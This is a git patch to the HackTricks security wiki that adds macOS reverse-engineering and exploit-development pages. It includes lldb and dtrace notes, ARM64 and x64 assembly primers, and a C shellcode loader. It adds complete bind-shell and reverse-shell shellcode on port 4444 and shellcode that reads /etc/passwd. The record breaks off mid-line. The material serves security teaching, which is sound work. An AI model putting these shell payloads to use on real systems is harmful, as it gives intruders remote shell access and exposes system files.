From 875709e88379eec501d4d7c60b60c307cd37a08d Mon Sep 17 00:00:00 2001 From: CPol Date: Wed, 13 Sep 2023 23:27:12 +0000 Subject: [PATCH] GITBOOK-4082: change request with no subject merged in GitBook --- SUMMARY.md | 2 + .../linux-exploiting-basic-esp/README.md | 2 +- .../mac-os-architecture/README.md | 4 +- .../README.md | 4 +- .../README.md | 67 ++- .../arm64-basic-assembly.md | 188 +++++++- .../introduction-to-x64.md | 455 ++++++++++++++++++ ...yld-hijacking-and-dyld_insert_libraries.md | 29 +- .../macos-dangerous-entitlements.md | 37 ++ 9 files changed, 743 insertions(+), 45 deletions(-) create mode 100644 macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md create mode 100644 macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md diff --git a/SUMMARY.md b/SUMMARY.md index dc8b1787..4ddc246f 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -142,6 +142,7 @@ * [macOS Security & Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/README.md) * [macOS Apps - Inspecting, debugging and Fuzzing](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md) + * [Introduction to x64](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md) * [Introduction to ARM64](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md) * [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md) * [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md) @@ -177,6 +178,7 @@ * [macOS TCC](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md) * [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-scripts.md) * [macOS TCC Bypasses](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses.md) + * [macOS Dangerous Entitlements](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md) * [macOS Users](macos-hardening/macos-security-and-privilege-escalation/macos-users.md) * [macOS Red Teaming](macos-hardening/macos-red-teaming/README.md) * [macOS MDM](macos-hardening/macos-red-teaming/macos-mdm/README.md) diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md index bf5047da..a2557b7e 100644 --- a/exploiting/linux-exploiting-basic-esp/README.md +++ b/exploiting/linux-exploiting-basic-esp/README.md @@ -391,7 +391,7 @@ AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -### \*\*GOT (Global Offsets Table) / PLT (\*\*Procedure Linkage Table) +### GOT (Global Offsets Table) / PLT (\*\*Procedure Linkage Table) This is the table that contains the **address** to the **external functions** used by the program. diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index f67c567b..47924441 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -1,4 +1,4 @@ -# macOS Kernel +# macOS Kernel & System Extensions
@@ -18,6 +18,8 @@ The **core of macOS is XNU**, which stands for "X is Not Unix". This kernel is f From a perspective of a security researcher or a Unix developer, **macOS** can feel quite **similar** to a **FreeBSD** system with an elegant GUI and a host of custom applications. Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages. +Open source version of XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) + ### Mach Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**. diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index ca8dd917..8cb2e91f 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -183,11 +183,11 @@ int main() { ### Privileged Ports * **Host port**: If a process has **Send** privilege over this port he can get **information** about the **system** (e.g. `host_processor_info`). -* **Host priv port**: A process with **Send** right over this port can perform **privileged actions** like loading a kernel extension. The **process need to be root** to get tis permission. +* **Host priv port**: A process with **Send** right over this port can perform **privileged actions** like loading a kernel extension. The **process need to be root** to get this permission. * Moreover, in order to call **`kext_request`** API it's needed to have the entitlement **`com.apple.private.kext`** which is only given to Apple binaries. * **Task name port:** An unprivileged version of the _task port_. It references the task, but does not allow controlling it. The only thing that seems to be available through it is `task_info()`. * **Task port** (aka kernel port)**:** With Send permission over this port it's possible to control the task (read/write memory, create threads...). - * Call `mach_task_self()` to **get the name** for this port for the caller task. This port is only **inherited** across **`exec()`**; a new task created with `fork()` gets a new task port (as a special case, a task also gets a new task port after `exec()`ing a suid binary). The only way to spawn a task and get its port is to perform the ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) while doing a `fork()`. + * Call `mach_task_self()` to **get the name** for this port for the caller task. This port is only **inherited** across **`exec()`**; a new task created with `fork()` gets a new task port (as a special case, a task also gets a new task port after `exec()`in a suid binary). The only way to spawn a task and get its port is to perform the ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) while doing a `fork()`. * These are the restrictions to access the port (from `macos_task_policy` from the binary `AppleMobileFileIntegrity`): * If the app has **`com.apple.security.get-task-allow` entitlement** processes from the **same user can access the task port** (commonly added by Xcode for debugging). The **notarization** process won't allow it to production releases. * Apps the **`com.apple.system-task-ports`** entitlement can get the **task port for any** process, except the kernel. In older versions it was called **`task_for_pid-allow`**. This is only granted to Apple applications. diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index ec22982d..4e8f3516 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -36,7 +36,7 @@ objdump --disassemble-symbols=_hello --x86-asm-syntax=intel toolsdemo #Disassemb ### jtool2 -The tool can be used as a **replacement** for **codesign**, **otool**, and **objdump**, and provides a few additional features. [**Download it here**](http://www.newosxbook.com/tools/jtool.html). +The tool can be used as a **replacement** for **codesign**, **otool**, and **objdump**, and provides a few additional features. [**Download it here**](http://www.newosxbook.com/tools/jtool.html) or install it with `brew`. ```bash # Install @@ -192,27 +192,18 @@ Moreover, in the **middle down you can write python commands**. In the right panel you can see interesting information such as the **navigation history** (so you know how you arrived at the current situation), the **call grap**h where you can see all the **functions that call this function** and all the functions that **this function calls**, and **local variables** information. -### dtruss - -```bash -dtruss -c ls #Get syscalls of ls -dtruss -c -p 1000 #get syscalls of PID 1000 -``` - -### ktrace - -You can use this one even with **SIP activated** - -```bash -ktrace trace -s -S -t c -c ls | grep "ls(" -``` - ### dtrace It allows users access to applications at an extremely **low level** and provides a way for users to **trace** **programs** and even change their execution flow. Dtrace uses **probes** which are **placed throughout the kernel** and are at locations such as the beginning and end of system calls. DTrace uses the **`dtrace_probe_create`** function to create a probe for each system call. These probes can be fired in the **entry and exit point of each system call**. The interaction with DTrace occur through /dev/dtrace which is only available for the root user. +{% hint style="success" %} +To enable Dtrace without fully disabling SIP protection you could execute on recovery mode: `csrutil enable --without dtrace` + +You can also **`dtrace`** or **`dtruss`** binaries that **you have compiled**. +{% endhint %} + The available probes of dtrace can be obtained with: ```bash @@ -282,6 +273,21 @@ syscall:::return sudo dtrace -s syscalls_info.d -c "cat /etc/hosts" ``` +### dtruss + +```bash +dtruss -c ls #Get syscalls of ls +dtruss -c -p 1000 #get syscalls of PID 1000 +``` + +### ktrace + +You can use this one even with **SIP activated** + +```bash +ktrace trace -s -S -t c -c ls | grep "ls(" +``` + ### ProcessMonitor [**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) is a very useful tool to check the process related actions a process is performing (for example, monitor which new processes a process is creating). @@ -290,6 +296,10 @@ sudo dtrace -s syscalls_info.d -c "cat /etc/hosts" [**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor) allows to monitor file events (such as creation, modifications, and deletions) providing detailed information about such events. +### Crescendo + +[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) is a GUI tool with the look and feel Windows users may know from Microsoft Sysinternal’s _Procmon_. It lets you start and stop recording events of all types, filter them by categories (file, process, network, etc) and save the recorded events as json file. + ### Apple Instruments [**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) are part of Xcode’s Developer tools – used for monitoring application performance, identifying memory leaks and tracking filesystem activity. @@ -325,28 +335,17 @@ lldb -n malware.bin lldb -n malware.bin --waitfor ``` +You can set intel flavour when using lldb creating a file called **`.lldbinit`** in your home folder with the following line: + +```bash +settings set target.x86-disassembly-flavor intel +``` + {% hint style="warning" %} Inside lldb, dump a process with `process save-core` {% endhint %} -| **(lldb) Command** | **Description** | -| ----------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **run (r)** | Starting execution, which will continue unabated until a breakpoint is hit or the process terminates. | -| **continue (c)** | Continue execution of the debugged process. | -| **nexti (n / ni)** | Execute the next instruction. This command will skip over function calls. | -| **stepi (s / si)** | Execute the next instruction. Unlike the nexti command, this command will step into function calls. | -| **finish (f)** | Execute the rest of the instructions in the current function (“frame”) return and halt. | -| **control + c** | Pause execution. If the process has been run (r) or continued (c), this will cause the process to halt ...wherever it is currently executing. | -| **breakpoint (b)** |

b main

b -[NSDictionary objectForKey:]

b 0x0000000100004bd9

br l #Breakpoint list

br e/dis <num> #Enable/Disable breakpoint

breakpoint delete <num>
b set -n main --shlib <lib_name>

| -| **help** |

help breakpoint #Get help of breakpoint command

help memory write #Get help to write into the memory

| -| **reg** |

reg read

reg read $rax

reg write $rip 0x100035cc0

| -| **x/s \** | Display the memory as a null-terminated string. | -| **x/i \** | Display the memory as assembly instruction. | -| **x/b \** | Display the memory as byte. | -| **print object (po)** |

This will print the object referenced by the param

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Note that most of Apple’s Objective-C APIs or methods return objects, and thus should be displayed via the “print object” (po) command. If po doesn't produce a meaningful output use x/b

| -| **memory** |

memory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Write AAAA in that address
memory write -f s $rip+0x11f+7 "AAAA" #Write AAAA in the addr

| -| **disassembly** |

dis #Disas current function
dis -c 6 #Disas 6 lines
dis -c 0x100003764 -e 0x100003768 # From one add until the other
dis -p -c 4 # Start in current address disassembling

| -| **parray** | parray 3 (char \*\*)$x1 # Check array of 3 components in x1 reg | +
(lldb) CommandDescription
run (r)Starting execution, which will continue unabated until a breakpoint is hit or the process terminates.
continue (c)Continue execution of the debugged process.
nexti (n / ni)Execute the next instruction. This command will skip over function calls.
stepi (s / si)Execute the next instruction. Unlike the nexti command, this command will step into function calls.
finish (f)Execute the rest of the instructions in the current function (“frame”) return and halt.
control + cPause execution. If the process has been run (r) or continued (c), this will cause the process to halt ...wherever it is currently executing.
breakpoint (b)

b main #Any func called main

b <binname>`main #Main func of the bin

b set -n main --shlib <lib_name> #Main func of the indicated bin

b -[NSDictionary objectForKey:]

b -a 0x0000000100004bd9

br l #Breakpoint list

br e/dis <num> #Enable/Disable breakpoint

breakpoint delete <num>

help

help breakpoint #Get help of breakpoint command

help memory write #Get help to write into the memory

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s <reg/memory address>Display the memory as a null-terminated string.
x/i <reg/memory address>Display the memory as assembly instruction.
x/b <reg/memory address>Display the memory as byte.
print object (po)

This will print the object referenced by the param

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Note that most of Apple’s Objective-C APIs or methods return objects, and thus should be displayed via the “print object” (po) command. If po doesn't produce a meaningful output use x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Write AAAA in that address
memory write -f s $rip+0x11f+7 "AAAA" #Write AAAA in the addr
disassembly

dis #Disas current function

dis -n <funcname> #Disas func

dis -n <funcname> -b <basename> #Disas func
dis -c 6 #Disas 6 lines
dis -c 0x100003764 -e 0x100003768 # From one add until the other
dis -p -c 4 # Start in current address disassembling

parrayparray 3 (char **)$x1 # Check array of 3 components in x1 reg
{% hint style="info" %} When calling the **`objc_sendMsg`** function, the **rsi** register holds the **name of the method** as a null-terminated (“C”) string. To print the name via lldb do: diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 34ce711f..eb3c2d83 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -92,6 +92,30 @@ ARM64 instructions generally have the **format `opcode dst, src1, src2`**, where svc 0 ; Make the system call. ``` +### **Function Prologue** + +1. **Save the link register and frame pointer to the stack**: + + {% code overflow="wrap" %} + ```armasm + stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer + ``` + {% endcode %} +2. **Set up the new frame pointer**: `mov x29, sp` (sets up the new frame pointer for the current function) +3. **Allocate space on the stack for local variables** (if needed): `sub sp, sp, ` (where `` is the number of bytes needed) + +### **Function Epilogue** + +1. **Deallocate local variables (if any were allocated)**: `add sp, sp, ` +2. **Restore the link register and frame pointer**: + + {% code overflow="wrap" %} + ```armasm + ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer + ``` + {% endcode %} +3. **Return**: `ret` (returns control to the caller using the address in the link register) + ## macOS ### syscalls @@ -102,12 +126,13 @@ Check out [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504 To compile: -{% code overflow="wrap" %} ```bash as -o shell.o shell.s ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib + +# You could also use this +ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem ``` -{% endcode %} To extract the bytes: @@ -245,7 +270,7 @@ _main: adr x0, cat_path mov x2, xzr ; Clear x2 to hold NULL (no environment variables) - mov x16, #59 ; Load the syscall number for execve (59) into x8 + mov x16, #59 ; Load the syscall number for execve (59) into x8 svc 0 ; Make the syscall @@ -300,6 +325,163 @@ sh_c_option: .asciz "-c" touch_command: .asciz "touch /tmp/lalala" ``` +#### Bind shell + +Bind shell from [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) in **port 4444** + +```armasm +.section __TEXT,__text +.global _main +.align 2 +_main: +call_socket: + // s = socket(AF_INET = 2, SOCK_STREAM = 1, 0) + mov x16, #97 + lsr x1, x16, #6 + lsl x0, x1, #1 + mov x2, xzr + svc #0x1337 + + // save s + mvn x3, x0 + +call_bind: + /* + * bind(s, &sockaddr, 0x10) + * + * struct sockaddr_in { + * __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10 + * sa_family_t sin_family; // AF_INET = 2 + * in_port_t sin_port; // 4444 = 0x115C + * struct in_addr sin_addr; // 0.0.0.0 (4 bytes) + * char sin_zero[8]; // Don't care + * }; + */ + mov x1, #0x0210 + movk x1, #0x5C11, lsl #16 + str x1, [sp, #-8] + mov x2, #8 + sub x1, sp, x2 + mov x2, #16 + mov x16, #104 + svc #0x1337 + +call_listen: + // listen(s, 2) + mvn x0, x3 + lsr x1, x2, #3 + mov x16, #106 + svc #0x1337 + +call_accept: + // c = accept(s, 0, 0) + mvn x0, x3 + mov x1, xzr + mov x2, xzr + mov x16, #30 + svc #0x1337 + + mvn x3, x0 + lsr x2, x16, #4 + lsl x2, x2, #2 + +call_dup: + // dup(c, 2) -> dup(c, 1) -> dup(c, 0) + mvn x0, x3 + lsr x2, x2, #1 + mov x1, x2 + mov x16, #90 + svc #0x1337 + mov x10, xzr + cmp x10, x2 + bne call_dup + +call_execve: + // execve("/bin/sh", 0, 0) + mov x1, #0x622F + movk x1, #0x6E69, lsl #16 + movk x1, #0x732F, lsl #32 + movk x1, #0x68, lsl #48 + str x1, [sp, #-8] + mov x1, #8 + sub x0, sp, x1 + mov x1, xzr + mov x2, xzr + mov x16, #59 + svc #0x1337 +``` + +#### Reverse shell + +From [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell to **127.0.0.1:4444** + +```armasm +.section __TEXT,__text +.global _main +.align 2 +_main: +call_socket: + // s = socket(AF_INET = 2, SOCK_STREAM = 1, 0) + mov x16, #97 + lsr x1, x16, #6 + lsl x0, x1, #1 + mov x2, xzr + svc #0x1337 + + // save s + mvn x3, x0 + +call_connect: + /* + * connect(s, &sockaddr, 0x10) + * + * struct sockaddr_in { + * __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10 + * sa_family_t sin_family; // AF_INET = 2 + * in_port_t sin_port; // 4444 = 0x115C + * struct in_addr sin_addr; // 127.0.0.1 (4 bytes) + * char sin_zero[8]; // Don't care + * }; + */ + mov x1, #0x0210 + movk x1, #0x5C11, lsl #16 + movk x1, #0x007F, lsl #32 + movk x1, #0x0100, lsl #48 + str x1, [sp, #-8] + mov x2, #8 + sub x1, sp, x2 + mov x2, #16 + mov x16, #98 + svc #0x1337 + + lsr x2, x2, #2 + +call_dup: + // dup(s, 2) -> dup(s, 1) -> dup(s, 0) + mvn x0, x3 + lsr x2, x2, #1 + mov x1, x2 + mov x16, #90 + svc #0x1337 + mov x10, xzr + cmp x10, x2 + bne call_dup + +call_execve: + // execve("/bin/sh", 0, 0) + mov x1, #0x622F + movk x1, #0x6E69, lsl #16 + movk x1, #0x732F, lsl #32 + movk x1, #0x68, lsl #48 + str x1, [sp, #-8] + mov x1, #8 + sub x0, sp, x1 + mov x1, xzr + mov x2, xzr + mov x16, #59 + svc #0x1337 +``` +
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md new file mode 100644 index 00000000..2c75c49c --- /dev/null +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md @@ -0,0 +1,455 @@ +# Introduction to x64 + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). + +
+ +## **Introduction to x64** + +x64, also known as x86-64, is a 64-bit processor architecture predominantly used in desktop and server computing. Originating from the x86 architecture produced by Intel and later adopted by AMD with the name AMD64, it's the prevalent architecture in personal computers and servers today. + +### **Registers** + +x64 expands upon the x86 architecture, featuring **16 general-purpose registers** labeled `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, and `r8` through `r15`. Each of these can store a **64-bit** (8-byte) value. These registers also have 32-bit, 16-bit, and 8-bit sub-registers for compatibility and specific tasks. + +1. **`rax`** - Traditionally used for **return values** from functions. +2. **`rbx`** - Often used as a **base register** for memory operations. +3. **`rcx`** - Commonly used for **loop counters**. +4. **`rdx`** - Used in various roles including extended arithmetic operations. +5. **`rbp`** - **Base pointer** for the stack frame. +6. **`rsp`** - **Stack pointer**, keeping track of the top of the stack. +7. **`rsi`** and **`rdi`** - Used for **source** and **destination** indexes in string/memory operations. +8. **`r8`** to **`r15`** - Additional general-purpose registers introduced in x64. + +### **Calling Convention** + +The x64 calling convention varies between operating systems. For instance: + +* **Windows**: The first **four parameters** are passed in the registers **`rcx`**, **`rdx`**, **`r8`**, and **`r9`**. Further parameters are pushed onto the stack. The return value is in **`rax`**. +* **System V (commonly used in UNIX-like systems)**: The first **six integer or pointer parameters** are passed in registers **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, and **`r9`**. The return value is also in **`rax`**. + +If the function has more than six inputs, the **rest will be passed on the stack**. **RSP**, the stack pointer, has to be **16 bytes aligned**, which means that the address it points to must be divisible by 16 before any call happens. This means that normally we would need to ensure that RSP is properly aligned in our shellcode before we make a function call. However, in practice, system calls work many times even if this requirement is not met. + +### **Common Instructions** + +x64 instructions have a rich set, maintaining compatibility with earlier x86 instructions and introducing new ones. + +* **`mov`**: **Move** a value from one **register** or **memory location** to another. + * Example: `mov rax, rbx` — Moves the value from `rbx` to `rax`. +* **`push`** and **`pop`**: Push or pop values to/from the **stack**. + * Example: `push rax` — Pushes the value in `rax` onto the stack. + * Example: `pop rax` — Pops the top value from the stack into `rax`. +* **`add`** and **`sub`**: **Addition** and **subtraction** operations. + * Example: `add rax, rcx` — Adds the values in `rax` and `rcx` storing the result in `rax`. +* **`mul`** and **`div`**: **Multiplication** and **division** operations. Note: these have specific behaviors regarding operand usage. +* **`call`** and **`ret`**: Used to **call** and **return from functions**. +* **`int`**: Used to trigger a software **interrupt**. E.g., `int 0x80` was used for system calls in 32-bit x86 Linux. +* **`cmp`**: **Compare** two values and set the CPU's flags based on the result. + * Example: `cmp rax, rdx` — Compares `rax` to `rdx`. +* **`je`, `jne`, `jl`, `jge`, ...**: **Conditional jump** instructions that change control flow based on the results of a previous `cmp` or test. + * Example: After a `cmp rax, rdx` instruction, `je label` — Jumps to `label` if `rax` is equal to `rdx`. +* **`syscall`**: Used for **system calls** in some x64 systems (like modern Unix). +* **`sysenter`**: An optimized **system call** instruction on some platforms. + +### **Function Prologue** + +1. **Push the old base pointer**: `push rbp` (saves the caller's base pointer) +2. **Move the current stack pointer to the base pointer**: `mov rbp, rsp` (sets up the new base pointer for the current function) +3. **Allocate space on the stack for local variables**: `sub rsp, ` (where `` is the number of bytes needed) + +### **Function Epilogue** + +1. **Move the current base pointer to the stack pointer**: `mov rsp, rbp` (deallocate local variables) +2. **Pop the old base pointer off the stack**: `pop rbp` (restores the caller's base pointer) +3. **Return**: `ret` (returns control to the caller) + +## macOS + +### syscalls + +There are different classes of syscalls, you can [**find them here**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:** + +```c +#define SYSCALL_CLASS_NONE 0 /* Invalid */ +#define SYSCALL_CLASS_MACH 1 /* Mach */ +#define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */ +#define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */ +#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */ +#define SYSCALL_CLASS_IPC 5 /* Mach IPC */ +``` + +Then, you can find each syscall number [**in this url**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:** + +```c +0 AUE_NULL ALL { int nosys(void); } { indirect syscall } +1 AUE_EXIT ALL { void exit(int rval); } +2 AUE_FORK ALL { int fork(void); } +3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); } +4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); } +5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); } +6 AUE_CLOSE ALL { int close(int fd); } +7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); } +8 AUE_NULL ALL { int nosys(void); } { old creat } +9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); } +10 AUE_UNLINK ALL { int unlink(user_addr_t path); } +11 AUE_NULL ALL { int nosys(void); } { old execv } +12 AUE_CHDIR ALL { int chdir(user_addr_t path); } +[...] +``` + +So in order to call the `open` syscall (**5**) from the **Unix/BSD class** you need to add it: `0x2000000` + +So, the syscall number to call open would be `0x2000005` + +### Shellcodes + +To compile: + +{% code overflow="wrap" %} +```bash +nasm -f macho64 shell.asm -o shell.o +ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib +``` +{% endcode %} + +To extract the bytes: + +```bash +# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh +for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do + echo -n '\\x'$c +done +``` + +
+ +C code to test the shellcode + +```c +// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c +// gcc loader.c -o loader +#include +#include +#include +#include + +int (*sc)(); + +char shellcode[] = ""; + +int main(int argc, char **argv) { + printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode)); + + void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0); + + if (ptr == MAP_FAILED) { + perror("mmap"); + exit(-1); + } + printf("[+] SUCCESS: mmap\n"); + printf(" |-> Return = %p\n", ptr); + + void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); + printf("[+] SUCCESS: memcpy\n"); + printf(" |-> Return = %p\n", dst); + + int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ); + + if (status == -1) { + perror("mprotect"); + exit(-1); + } + printf("[+] SUCCESS: mprotect\n"); + printf(" |-> Return = %d\n", status); + + printf("[>] Trying to execute shellcode...\n"); + + sc = ptr; + sc(); + + return 0; +} +``` + +
+ +#### Shell + +Taken from [**here**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) and explained. + +{% tabs %} +{% tab title="with adr" %} +```armasm +bits 64 +global _main +_main: + call r_cmd64 + db '/bin/zsh', 0 +r_cmd64: ; the call placed a pointer to db (argv[2]) + pop rdi ; arg1 from the stack placed by the call to l_cmd64 + xor rdx, rdx ; store null arg3 + push 59 ; put 59 on the stack (execve syscall) + pop rax ; pop it to RAX + bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) + syscall +``` +{% endtab %} + +{% tab title="with stack" %} +```armasm +bits 64 +global _main + +_main: + xor rdx, rdx ; zero our RDX + push rdx ; push NULL string terminator + mov rbx, '/bin/zsh' ; move the path into RBX + push rbx ; push the path, to the stack + mov rdi, rsp ; store the stack pointer in RDI (arg1) + push 59 ; put 59 on the stack (execve syscall) + pop rax ; pop it to RAX + bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) + syscall +``` +{% endtab %} +{% endtabs %} + +#### Read with cat + +The goal is to execute `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, so the second argument (x1) is an array of params (which in memory these means a stack of the addresses). + +```armasm +bits 64 +section .text +global _main + +_main: + ; Prepare the arguments for the execve syscall + sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48` + + lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat" + lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd" + + ; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"] + push rsi ; Add "/etc/passwd" to the stack (arg0) + push rdi ; Add "/bin/cat" to the stack (arg1) + + ; Set in the 2nd argument of exec the addr of the array + mov rsi, rsp ; argv=rsp - store RSP's value in RSI + + xor rdx, rdx ; Clear rdx to hold NULL (no environment variables) + + push 59 ; put 59 on the stack (execve syscall) + pop rax ; pop it to RAX + bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) + syscall ; Make the syscall + +section .data +cat_path: db "/bin/cat", 0 +passwd_path: db 